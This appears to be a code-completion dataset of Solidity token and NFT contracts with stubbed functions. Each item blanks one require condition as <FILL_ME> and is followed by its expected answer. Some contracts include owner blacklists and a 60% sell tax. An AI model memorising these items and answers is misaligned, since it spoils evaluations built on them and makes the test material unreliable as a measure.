address to,
uint deadline) external;
}
contract FIRSTPEPE is Context, IERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
mapping (address => bool) public _isExcludedFromMaxBalance;
mapping (address => bool) public _isBlacklisted;
mapping (address => uint256) public _dogSellTime;
uint256 private _dogSellTimeOffset = 3;
bool public watchdogMode = true;
uint256 public _caughtDogs;
uint8 private constant _decimals = 9;
uint256 private _tTotal = 1_000_000 * (10**_decimals);
uint256 public swapThreshold = 5_000 * (10**_decimals);
uint256 public maxTxAmount = 90_000 * (10**_decimals);
uint256 public maxWallet = 90_000 * (10**_decimals);
string private constant _name = "First Pepe";
string private constant _symbol = "1PEPE";
struct Tax{
uint8 marketingTax;
uint8 lpTax;
}
struct TokensFromTax{
uint marketingTokens;
uint lpTokens;
}
TokensFromTax public totalTokensFromTax;
Tax public buyTax = Tax(30,0);
Tax public sellTax = Tax(60,0);
address public marketingWallet = 0x63C85176820173d7c0cC5675946999AC5020c490;
bool private swapping;
uint private _swapCooldown = 5;
uint private _lastSwap;
modifier lockTheSwap {
}
constructor () {
}
// ================= ERC20 =============== //
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
receive() external payable {}
// ========================================== //
//============== Owner Functions ===========//
function owner_setBlacklisted(address account, bool isBlacklisted) public onlyOwner{
}
function owner_setBulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{
}
function owner_setBuyTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{
}
function owner_setSellTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{
}
function owner_setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
}
function owner_rescueETH(uint256 weiAmount) public onlyOwner{
}
function owner_rescueTokens() public{
// Make sure ca doesn't withdraw the pending taxes to be swapped.
// Sends excess tokens / accidentally sent tokens back to marketing wallet.
uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens;
require(<FILL_ME>)
uint excessTokens = balanceOf(address(this)) - pendingTaxTokens;
_transfer(address(this), marketingWallet, excessTokens);
}
function owner_setWatchDogg(bool status_) external onlyOwner{
}
function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{
}
// ========================================//
function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
}
function _transfer(address from,address to,uint256 amount) private {
}
function swapAndLiquify() private lockTheSwap{
}
function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
event SwapAndLiquify();
event TaxesChanged();
}
| balanceOf(address(this))>pendingTaxTokens | 155,307 | balanceOf(address(this))>pendingTaxTokens |
"exceeded public supply" | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
pragma solidity >=0.7.0 <0.9.0;
contract IP is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.00002 ether;
uint256 public maxSupply = 999;
uint256 public publicSupply = 999;
uint256 public maxMintAmount = 5;
uint256 public mintLimitPerWallet = 1;
bool public paused = false;
bool public revealed = false;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused,"contract is paused");
require(_mintAmount > 0,"you can't mint 0 items lol");
require(_mintAmount <= maxMintAmount,"exceeded max mint amount");
require(<FILL_ME>)
require(msg.value >= cost * _mintAmount,"not enough eth");
if(mintLimitPerWallet > 0){
require(balanceOf(msg.sender) + _mintAmount <= mintLimitPerWallet,"exceeded per wallet limit");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function mintTo(address _receiver,uint256 _mintAmount) external onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _newCost) external onlyOwner {
}
function setLimitPErWallet(uint256 _value) external onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) external onlyOwner {
}
function pause(bool _state) external onlyOwner {
}
function reveal() public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| supply+_mintAmount<=publicSupply,"exceeded public supply" | 155,405 | supply+_mintAmount<=publicSupply |
"exceeded per wallet limit" | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
pragma solidity >=0.7.0 <0.9.0;
contract IP is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.00002 ether;
uint256 public maxSupply = 999;
uint256 public publicSupply = 999;
uint256 public maxMintAmount = 5;
uint256 public mintLimitPerWallet = 1;
bool public paused = false;
bool public revealed = false;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused,"contract is paused");
require(_mintAmount > 0,"you can't mint 0 items lol");
require(_mintAmount <= maxMintAmount,"exceeded max mint amount");
require(supply + _mintAmount <= publicSupply,"exceeded public supply");
require(msg.value >= cost * _mintAmount,"not enough eth");
if(mintLimitPerWallet > 0){
require(<FILL_ME>)
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function mintTo(address _receiver,uint256 _mintAmount) external onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _newCost) external onlyOwner {
}
function setLimitPErWallet(uint256 _value) external onlyOwner {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) external onlyOwner {
}
function pause(bool _state) external onlyOwner {
}
function reveal() public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| balanceOf(msg.sender)+_mintAmount<=mintLimitPerWallet,"exceeded per wallet limit" | 155,405 | balanceOf(msg.sender)+_mintAmount<=mintLimitPerWallet |
"Exceeds maximum wallet amount." | // SPDX-License-Identifier: MIT
/*
ββββββββββββ βββββββ βββββββββββββββ βββ ββββββββββ βββ βββββββ βββββββ βββββββ
ββββββββββββββββββββ ββββββββββββββββ βββ ββββββββββββ βββββββββββ ββββββββ βββββββββ
βββ ββββββ ββββββββββ ββββββββ βββββββ βββββββββ ββββββ ββββ βββββββ βββββββββ
βββ ββββββ βββββββββ ββββββββ βββββββ ββββββββββββββββ βββ βββββββ βββββββββ
βββ βββββββββββββββββββββββ βββ βββ βββββββββ βββββββββββββββ ββββββββββββββββββββ
βββ βββ βββββββ βββββββββββ βββ βββ βββββββββ βββββ βββββββ βββββββββββ βββββββ
WEB : tking2.io
TG : https://t.me/TKING_2
TW : https://twitter.com/TKING2_0
*/
pragma solidity ^0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
mapping (address => bool) internal authorizations;
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract TigerKing2 is Ownable, ERC20 {
using SafeMath for uint256;
address WETH;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "TigerKing 2.0";
string constant _symbol = "TKING2.0";
uint8 constant _decimals = 18;
uint256 _totalSupply = 450 * 10**9 * 10**_decimals;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
uint256 public totalFee = 10;
uint256 private feeDenominator = 100;
uint256 sellMultiplier = 20;
uint256 buyMultiplier = 20;
address private marketingFeeReceiver;
IDEXRouter public router;
InterfaceLP private pairContract;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 100 / 10000;
bool inSwap;
bool private antiMEV = false;
mapping (address => bool) private isContractExempt;
bool public tradingEnabled = false;
uint256 public maxWalletToken = ( _totalSupply * 100 ) / 10000;
uint256 public maxTxAmount = ( _totalSupply * 100 ) / 10000;
modifier swapping() { }
constructor () {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveAll(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(tradingEnabled || sender == owner() || recipient == owner(), "Trading not yet enabled!");
if (recipient != address(pair) && recipient != address(ZERO) && recipient != address(DEAD)) {
require(<FILL_ME>)
}
if(sender != address(pair)) {
require(amount <= maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
}
// Anti MEV
if(antiMEV && !isContractExempt[sender] && !isContractExempt[recipient]){
require(!isContract(recipient) || !isContract(sender), "Anti MEV");
}
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(shouldSwapBack()){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function isContract(address account) private view returns (bool) {
}
function excemptContract(address ctr_ady) external onlyOwner {
}
function enableTrading() external onlyOwner{
}
function toggleAntiMEV(bool toggle) external onlyOwner {
}
function setMarketingFeeReceiver(address _feeReceiver) external onlyOwner {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function setParams(uint256 _sellMultiplier, uint256 _buyMultiplier, uint256 _maxWalletToken, uint256 _maxTxAmount) external onlyOwner {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckETH(uint256 amountPercentage) external onlyOwner {
}
function swapback() external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool) {
}
function swapBack() internal swapping {
}
function editSwapbackSettings(bool _enabled, uint256 _amount) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
}
| (_balances[recipient].add(amount))<=maxWalletToken||isFeeExempt[sender]||isFeeExempt[recipient],"Exceeds maximum wallet amount." | 155,409 | (_balances[recipient].add(amount))<=maxWalletToken||isFeeExempt[sender]||isFeeExempt[recipient] |
"Anti MEV" | // SPDX-License-Identifier: MIT
/*
ββββββββββββ βββββββ βββββββββββββββ βββ ββββββββββ βββ βββββββ βββββββ βββββββ
ββββββββββββββββββββ ββββββββββββββββ βββ ββββββββββββ βββββββββββ ββββββββ βββββββββ
βββ ββββββ ββββββββββ ββββββββ βββββββ βββββββββ ββββββ ββββ βββββββ βββββββββ
βββ ββββββ βββββββββ ββββββββ βββββββ ββββββββββββββββ βββ βββββββ βββββββββ
βββ βββββββββββββββββββββββ βββ βββ βββββββββ βββββββββββββββ ββββββββββββββββββββ
βββ βββ βββββββ βββββββββββ βββ βββ βββββββββ βββββ βββββββ βββββββββββ βββββββ
WEB : tking2.io
TG : https://t.me/TKING_2
TW : https://twitter.com/TKING2_0
*/
pragma solidity ^0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
mapping (address => bool) internal authorizations;
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract TigerKing2 is Ownable, ERC20 {
using SafeMath for uint256;
address WETH;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "TigerKing 2.0";
string constant _symbol = "TKING2.0";
uint8 constant _decimals = 18;
uint256 _totalSupply = 450 * 10**9 * 10**_decimals;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
uint256 public totalFee = 10;
uint256 private feeDenominator = 100;
uint256 sellMultiplier = 20;
uint256 buyMultiplier = 20;
address private marketingFeeReceiver;
IDEXRouter public router;
InterfaceLP private pairContract;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 100 / 10000;
bool inSwap;
bool private antiMEV = false;
mapping (address => bool) private isContractExempt;
bool public tradingEnabled = false;
uint256 public maxWalletToken = ( _totalSupply * 100 ) / 10000;
uint256 public maxTxAmount = ( _totalSupply * 100 ) / 10000;
modifier swapping() { }
constructor () {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveAll(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(tradingEnabled || sender == owner() || recipient == owner(), "Trading not yet enabled!");
if (recipient != address(pair) && recipient != address(ZERO) && recipient != address(DEAD)) {
require((_balances[recipient].add(amount)) <= maxWalletToken || isFeeExempt[sender] || isFeeExempt[recipient], "Exceeds maximum wallet amount.");
}
if(sender != address(pair)) {
require(amount <= maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
}
// Anti MEV
if(antiMEV && !isContractExempt[sender] && !isContractExempt[recipient]){
require(<FILL_ME>)
}
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(shouldSwapBack()){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function isContract(address account) private view returns (bool) {
}
function excemptContract(address ctr_ady) external onlyOwner {
}
function enableTrading() external onlyOwner{
}
function toggleAntiMEV(bool toggle) external onlyOwner {
}
function setMarketingFeeReceiver(address _feeReceiver) external onlyOwner {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function setParams(uint256 _sellMultiplier, uint256 _buyMultiplier, uint256 _maxWalletToken, uint256 _maxTxAmount) external onlyOwner {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckETH(uint256 amountPercentage) external onlyOwner {
}
function swapback() external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool) {
}
function swapBack() internal swapping {
}
function editSwapbackSettings(bool _enabled, uint256 _amount) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
}
| !isContract(recipient)||!isContract(sender),"Anti MEV" | 155,409 | !isContract(recipient)||!isContract(sender) |
"ImBroken: exceed max supply." | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
// Depression is a monster
// That destroys both heart and soul.
// It tortures without mercy
// And consumes its victim whole.
// - Patricia A. Fleming
// ........ .... ...... ... ... .. .....
// ..... .... ...... ... ... ... ... .
// ... ..... ...... . . ... .. .
// . .... ...... .. .. ..... .... . . ..
// .... .... . .. .'. ..... .... .. ..
// .... ... '. .,. ..... .... .. ..
// .... ... . .'. ,l. ..... .... ... .. .. ..
// ... .. . ...::. .lc. ... .,,... ... .. .... .. ... ...
// ... . . ..'..l: .,,,'. ..c:. ... .. .... .. ... ....
// .. .. ...,ccoc ..,:c' ... .;;. .. .. .... .. .... ...
// ... .. . . ..ckl. .dk,.. :x' .;. .. ..... . . .... ...
// . .. .. .,.:0c ... ,ko..;' .. .... . . ... ...
// .. .. .. ;; 'kO; .:, ,:. .. .... .. . .... ..
// . .. .. .. .cc. ,k0c .:' .. . ..... ... . ... ...
// .... .. .',,co. .,, ... .. . ..... .. ... ....
// ... . ;d,l0; .,. .. . ..... .. ... ....
// . .... ... .dl cO, .. ... ..... ... .. ...
// ... ..co. .'. ... ..... ... .. .... .
// . . ..'d: .:' ..... .. .... ..
// . . .. 'c. ;d' ..... . ..... ..
// .. ... ... l: . .... .. . ..... ...
// .. .. .... .;. ';. ... .... ..... ..
// . ... ... .l; ';. ... ... .... .
// . .. ... ,l. .. .;. .o:. .... ... .... ..
// .. . .l, .kx. ,Kd .cxc. .... ... ..... ...
// . .. . .o: .:; .;' lK:... ... ... ..... ...
// . . .oc dx... ... .... . .... ...
// . .o: .xo.. ... .... . ... ..
// . 'd; 'xc.. .... .... .. . .... ..
// .. ...o; cd'. .... .... .. ... ...
// ... .. ...l; .dc. ... .... .. ... ..
// ..... .. .. c: .dl. ... ... .. ... ...
// .... .. 'l:' 'ol. .... ... .. .... ....
// .. ... .. .,cc:. .',;,... .... ... ... ...
// . ... .. ..;lc. ,lddc,. ... ... .... ... ..
// . . ... .,l:. .d0o'. .... .... ... ... .. .
// ... . . .. ... .:l. ,xd,. ... .... .... . .. ... ..
// ... . .. ... 'c, :Oc.. ... ..... ..... . .. ... ...
// .. . . . . .. ... .;:' .;l::cc:,. .. ..... .... .. .. ... ..
// . . . . . . .. .;oc ..,;'.. .... .... . .. ...
// .. .. . .. .. .. ..''. cc. .... ..... . .. ...
// . .. . . .. .':, ,x; ... .... .. .. ...
// . .. . . ... .,lloc. .lxc' .... .... .. ..
// . .. . ... ... ;kk; .;::;'... ..... ..
// .. . ... .. ;Od. .,;,. .... ..
// .. . ... ... .kd . .... .... ... ....
// . .. ... .. lK; . ...'..... ... ...
// . . ... ... .. .kO. .cc... .
// .. . .. ... .. :Xx. cl..
// . .. .. .. .xX: :l..
// .. .. ... . '0x. 'c. .
// . ... ... .. :0: ..'''.. .c' ...
// . .. .. .. ok. .;d0XXKKK0kl'MXo .l, ...
// .. .. .. .. .kk. .c0NMW.ImBroken.XWMXo. .c; .
// .. .. .. ;0l 'kWWNNN.ImBroken.KWMMWx. lc
// .. .. . l0, 'kNN0O0K.ImBroken.NNWMNc cl ..
// .. . . .xx. .xNN0kKXK.ImBroken.X0NMWd. ;o. .
// .. . .. ,0l :NMNXXXk0.ImBroken.NKNMWx. ,d' .
// . . .. cO, cNMWWWKx0.ImBroken.WNWMWd. 'o' .. .
// .. . .dx. .kWMMMN0X.ImBroken.WWWWNc .o, ..
// .. . 'Oo .xNMMWWW.ImBroken.MWWWk. .x: ..
// . .. . . :O; .:OWWWM.ImBroken.NWNk' .dl .
// . . .. . .ld. .;dO0KKXK00ko;.MXo oo . ..
// . .. . ..oc .',,,'.. cd. ...
// . .. .'o; cx. . ...
// .. ..,x, :k, ..
// . .. .. :x. ;k, . .
// . .. ... od. ;O: ...
// . .. .. .dc ,0l .... ...
// .. .. ... ,x; ,0d ... .....
// ... .. ... lk. .Ox. ... .......
// .... .. ... dd. .dx. .... .......
// ... ... ... .ko dk. .... ........
// .... . ... .... .kl cx. ..... ......
// .... . ... ... '0l cd. ..... .......
contract ImBroken is ERC721A {
using Strings for uint256;
event StageChanged(Stage from, Stage to);
enum Stage {
Pause,
Public
}
modifier onlyOwner() {
}
uint256 public constant MAX_SUPPLY = 5555;
uint256 public freeSupply = 2000;
uint256 public price = 0.005 ether;
uint256 public constant MAX_MINT_PER_TX = 10;
uint256 public constant MAX_MINT_PER_WALLET_FREE = 2;
address public immutable owner;
mapping(address => bool) public addressFreeMinted;
Stage public stage;
string public baseURI;
string internal baseExtension = ".json";
constructor() ERC721A("ImBroken", "IB") {
}
// GET Functions
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
// MINT Functions
// Only works before freeSupply is reached
// This function only work once
function freeMint(uint256 _quantity) external payable {
uint256 currentSupply = totalSupply();
require(<FILL_ME>)
require(
addressFreeMinted[msg.sender] == false,
"ImBroken: already free minted"
);
if (stage == Stage.Public) {
if (currentSupply < freeSupply) {
require(
_quantity <= MAX_MINT_PER_WALLET_FREE,
"ImBroken: too many free mint per tx."
);
}
} else {
revert("ImBroken: mint is pause.");
}
addressFreeMinted[msg.sender] = true;
_safeMint(msg.sender, _quantity);
}
function mint(uint256 _quantity) external payable {
}
// SET Functions
function setStage(Stage newStage) external onlyOwner {
}
function setFreeSupply(uint256 newFreeSupply) external onlyOwner {
}
function setPrice(uint256 newPrice) external onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
// WITHDRAW Functions
function withdrawAll() external onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
}
| currentSupply+_quantity<=MAX_SUPPLY,"ImBroken: exceed max supply." | 155,419 | currentSupply+_quantity<=MAX_SUPPLY |
"ImBroken: already free minted" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
// Depression is a monster
// That destroys both heart and soul.
// It tortures without mercy
// And consumes its victim whole.
// - Patricia A. Fleming
// ........ .... ...... ... ... .. .....
// ..... .... ...... ... ... ... ... .
// ... ..... ...... . . ... .. .
// . .... ...... .. .. ..... .... . . ..
// .... .... . .. .'. ..... .... .. ..
// .... ... '. .,. ..... .... .. ..
// .... ... . .'. ,l. ..... .... ... .. .. ..
// ... .. . ...::. .lc. ... .,,... ... .. .... .. ... ...
// ... . . ..'..l: .,,,'. ..c:. ... .. .... .. ... ....
// .. .. ...,ccoc ..,:c' ... .;;. .. .. .... .. .... ...
// ... .. . . ..ckl. .dk,.. :x' .;. .. ..... . . .... ...
// . .. .. .,.:0c ... ,ko..;' .. .... . . ... ...
// .. .. .. ;; 'kO; .:, ,:. .. .... .. . .... ..
